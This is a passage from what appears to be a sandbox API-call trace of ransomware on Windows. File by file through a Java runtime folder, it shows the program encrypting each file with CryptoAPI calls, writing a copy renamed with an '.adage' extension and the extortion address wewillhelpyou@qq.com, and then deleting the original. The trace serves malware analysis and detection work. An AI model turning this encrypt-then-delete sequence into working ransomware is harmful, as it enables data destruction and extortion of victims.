CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.086] WriteFile (in: hFile=0x1a4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x102, lpOverlapped=0x0) returned 1 [0061.086] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.086] CloseHandle (hObject=0x180) returned 1 [0061.086] CloseHandle (hObject=0x1a4) returned 1 [0061.087] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0061.088] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.088] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=153) returned 1 [0061.088] CloseHandle (hObject=0x1a4) returned 1 [0061.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0061.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.089] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.089] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.089] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.089] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.089] ReadFile (in: hFile=0x1a4, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x99, lpOverlapped=0x0) returned 1 [0061.090] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa0, dwBufLen=0xa0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa0) returned 1 [0061.090] WriteFile (in: hFile=0x180, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xa0, lpOverlapped=0x0) returned 1 [0061.091] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.091] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.091] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60, dwBufLen=0x60 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60) returned 1 [0061.091] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.091] WriteFile (in: hFile=0x180, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x112, lpOverlapped=0x0) returned 1 [0061.091] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.091] CloseHandle (hObject=0x1a4) returned 1 [0061.091] CloseHandle (hObject=0x180) returned 1 [0061.092] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0061.093] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.094] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=147) returned 1 [0061.094] CloseHandle (hObject=0x180) returned 1 [0061.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0061.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movedrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.094] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.094] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movedrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.095] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.095] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.095] ReadFile (in: hFile=0x180, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x93, lpOverlapped=0x0) returned 1 [0061.096] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa0, dwBufLen=0xa0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa0) returned 1 [0061.096] WriteFile (in: hFile=0x1a4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xa0, lpOverlapped=0x0) returned 1 [0061.096] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.096] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.097] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50, dwBufLen=0x50 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50) returned 1 [0061.097] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.097] WriteFile (in: hFile=0x1a4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x102, lpOverlapped=0x0) returned 1 [0061.097] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.097] CloseHandle (hObject=0x180) returned 1 [0061.097] CloseHandle (hObject=0x1a4) returned 1 [0061.098] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0061.099] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.099] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=153) returned 1 [0061.099] CloseHandle (hObject=0x1a4) returned 1 [0061.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0061.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.100] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.100] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.100] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.100] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.100] ReadFile (in: hFile=0x1a4, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x99, lpOverlapped=0x0) returned 1 [0061.101] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa0, dwBufLen=0xa0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa0) returned 1 [0061.101] WriteFile (in: hFile=0x180, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xa0, lpOverlapped=0x0) returned 1 [0061.102] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.102] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.102] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60, dwBufLen=0x60 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60) returned 1 [0061.102] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.102] WriteFile (in: hFile=0x180, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x112, lpOverlapped=0x0) returned 1 [0061.102] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.102] CloseHandle (hObject=0x1a4) returned 1 [0061.102] CloseHandle (hObject=0x180) returned 1 [0061.104] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0061.108] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.109] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4226) returned 1 [0061.109] CloseHandle (hObject=0x180) returned 1 [0061.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\jvm.hprof.txt")) returned 0x20 [0061.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\jvm.hprof.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\jvm.hprof.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.109] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.109] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\jvm.hprof.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\jvm.hprof.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.110] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.110] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.110] ReadFile (in: hFile=0x180, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x1082, lpOverlapped=0x0) returned 1 [0061.112] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x1090, dwBufLen=0x1090 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x1090) returned 1 [0061.112] WriteFile (in: hFile=0x1a4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x1090, lpOverlapped=0x0) returned 1 [0061.113] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.113] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.113] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0061.113] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.113] WriteFile (in: hFile=0x1a4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0061.113] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.113] CloseHandle (hObject=0x180) returned 1 [0061.113] CloseHandle (hObject=0x1a4) returned 1 [0061.114] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\jvm.hprof.txt")) returned 1 [0061.116] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.251] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=105934) returned 1 [0061.251] CloseHandle (hObject=0x1a4) returned 1 [0061.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\tzdb.dat")) returned 0x20 [0061.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\tzdb.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\tzdb.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.252] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.252] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\tzdb.dat.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\tzdb.dat.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0061.252] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0061.252] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.252] ReadFile (in: hFile=0x1a4, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x19dce, lpOverlapped=0x0) returned 1 [0061.265] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x19dd0, dwBufLen=0x19dd0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x19dd0) returned 1 [0061.266] WriteFile (in: hFile=0x1b0, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x19dd0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x19dd0, lpOverlapped=0x0) returned 1 [0061.268] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8820) returned 1 [0061.269] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.269] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0061.269] CryptDestroyKey (hKey=0x4d8820) returned 1 [0061.269] WriteFile (in: hFile=0x1b0, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0061.269] CryptDestroyKey (hKey=0x4d8860) returned 1 [0061.269] CloseHandle (hObject=0x1a4) returned 1 [0061.269] CloseHandle (hObject=0x1b0) returned 1 [0061.271] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\tzdb.dat")) returned 1 [0061.273] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.291] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=145180) returned 1 [0061.291] CloseHandle (hObject=0x180) returned 1 [0061.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme.txt")) returned 0x20 [0061.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_171\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.291] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 